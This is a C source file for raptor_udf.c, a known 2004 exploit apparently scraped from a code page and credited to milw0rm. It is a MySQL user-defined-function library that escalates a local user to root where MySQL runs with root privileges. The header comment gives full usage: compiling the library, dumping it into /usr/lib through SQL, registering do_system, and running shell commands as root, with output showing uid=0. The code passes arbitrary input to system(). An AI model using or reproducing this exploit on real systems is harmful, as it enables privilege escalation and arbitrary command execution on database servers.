73 lines
No EOL
2.4 KiB
C
73 lines
No EOL
2.4 KiB
C
/*
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* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
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*
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* raptor_udf.c - dynamic library for do_system() MySQL UDF
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* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* This is an helper dynamic library for local privilege escalation through
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* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
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*
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* Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
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*
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* "MySQL provides a mechanism by which the default set of functions can be
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* expanded by means of custom written dynamic libraries containing User
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* Defined Functions, or UDFs". -- Hackproofing MySQL
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*
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* Usage:
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* $ id
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* uid=500(raptor) gid=500(raptor) groups=500(raptor)
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* $ gcc -g -c raptor_udf.c
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* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
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* $ mysql -u root -p
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* Enter password:
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* [...]
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* mysql> use mysql;
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* mysql> create table foo(line blob);
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* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
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* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
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* mysql> create function do_system returns integer soname 'raptor_udf.so';
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* mysql> select * from mysql.func;
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* +-----------+-----+---------------+----------+
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* | name | ret | dl | type |
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* +-----------+-----+---------------+----------+
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* | do_system | 2 | raptor_udf.so | function |
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* +-----------+-----+---------------+----------+
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* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
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* mysql> \! sh
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* sh-2.05b$ cat /tmp/out
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* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
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* [...]
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*/
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#include <stdio.h>
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#include <stdlib.h>
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enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
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typedef struct st_udf_args {
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unsigned int arg_count; // number of arguments
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enum Item_result *arg_type; // pointer to item_result
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char **args; // pointer to arguments
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unsigned long *lengths; // length of string args
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char *maybe_null; // 1 for maybe_null args
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} UDF_ARGS;
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typedef struct st_udf_init {
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char maybe_null; // 1 if func can return NULL
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unsigned int decimals; // for real functions
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unsigned long max_length; // for string functions
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char *ptr; // free ptr for func data
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char const_item; // 0 if result is constant
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} UDF_INIT;
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int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
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{
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if (args->arg_count != 1)
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return(0);
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system(args->args[0]);
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return(0);
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}
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// milw0rm.com [2004-12-24]
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